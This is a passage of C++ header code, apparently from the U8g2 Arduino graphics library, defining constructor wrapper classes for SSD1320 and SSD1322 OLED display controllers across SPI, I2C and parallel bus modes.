*rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x132_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1320_160X132_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1320_160X132_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x132_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1320_160X132_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X132_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x132_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1320_160X132_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X132_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x132_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1320_160X132_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1320_160X132_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x132_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1320_160X132_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X132_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x132_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1320_160X132_F_6800 : public U8G2 { public: U8G2_SSD1320_160X132_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x132_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1320_160X132_F_8080 : public U8G2 { public: U8G2_SSD1320_160X132_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x132_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1320_160X80_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1320_160X80_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x80_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1320_160X80_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X80_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x80_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1320_160X80_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X80_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x80_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1320_160X80_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1320_160X80_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x80_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1320_160X80_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X80_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x80_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1320_160X80_1_6800 : public U8G2 { public: U8G2_SSD1320_160X80_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x80_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1320_160X80_1_8080 : public U8G2 { public: U8G2_SSD1320_160X80_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x80_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1320_160X80_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1320_160X80_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x80_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1320_160X80_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X80_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x80_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1320_160X80_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X80_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x80_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1320_160X80_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1320_160X80_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x80_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1320_160X80_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X80_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x80_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1320_160X80_2_6800 : public U8G2 { public: U8G2_SSD1320_160X80_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x80_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1320_160X80_2_8080 : public U8G2 { public: U8G2_SSD1320_160X80_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x80_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1320_160X80_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1320_160X80_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x80_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1320_160X80_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X80_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x80_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1320_160X80_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X80_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x80_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1320_160X80_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1320_160X80_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x80_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1320_160X80_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X80_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x80_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1320_160X80_F_6800 : public U8G2 { public: U8G2_SSD1320_160X80_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x80_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1320_160X80_F_8080 : public U8G2 { public: U8G2_SSD1320_160X80_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x80_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1320_160X80_1_SW_I2C : public U8G2 { public: U8G2_SSD1320_160X80_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_i2c_160x80_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1320_160X80_1_HW_I2C : public U8G2 { public: U8G2_SSD1320_160X80_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_i2c_160x80_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1320_160X80_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1320_160X80_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_i2c_160x80_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1320_160X80_2_SW_I2C : public U8G2 { public: U8G2_SSD1320_160X80_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_i2c_160x80_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1320_160X80_2_HW_I2C : public U8G2 { public: U8G2_SSD1320_160X80_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_i2c_160x80_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1320_160X80_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1320_160X80_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_i2c_160x80_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1320_160X80_F_SW_I2C : public U8G2 { public: U8G2_SSD1320_160X80_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_i2c_160x80_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1320_160X80_F_HW_I2C : public U8G2 { public: U8G2_SSD1320_160X80_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_i2c_160x80_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1320_160X80_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1320_160X80_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_i2c_160x80_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1322_240X128_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1322_240X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_240x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1322_240X128_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1322_240X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_240x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1322_240X128_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1322_240X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_240x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1322_240X128_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1322_240X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_240x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1322_240X128_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1322_240X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_240x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1322_240X128_1_6800 : public U8G2 { public: U8G2_SSD1322_240X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_240x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1322_240X128_1_8080 : public U8G2 { public: U8G2_SSD1322_240X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_240x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1322_240X128_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1322_240X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_240x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1322_240X128_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1322_240X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_240x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1322_240X128_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1322_240X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_240x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1322_240X128_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1322_240X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_240x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1322_240X128_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1322_240X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_240x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1322_240X128_2_6800 : public U8G2 { public: U8G2_SSD1322_240X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_240x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1322_240X128_2_8080 : public U8G2 { public: U8G2_SSD1322_240X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_240x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1322_240X128_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1322_240X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_240x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1322_240X128_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1322_240X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_240x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1322_240X128_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1322_240X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_240x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1322_240X128_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1322_240X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_240x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1322_240X128_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1322_240X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_240x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1322_240X128_F_6800 : public U8G2 { public: U8G2_SSD1322_240X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_240x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1322_240X128_F_8080 : public U8G2 { public: U8G2_SSD1322_240X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_240x128_f(&u8g2, rotation, 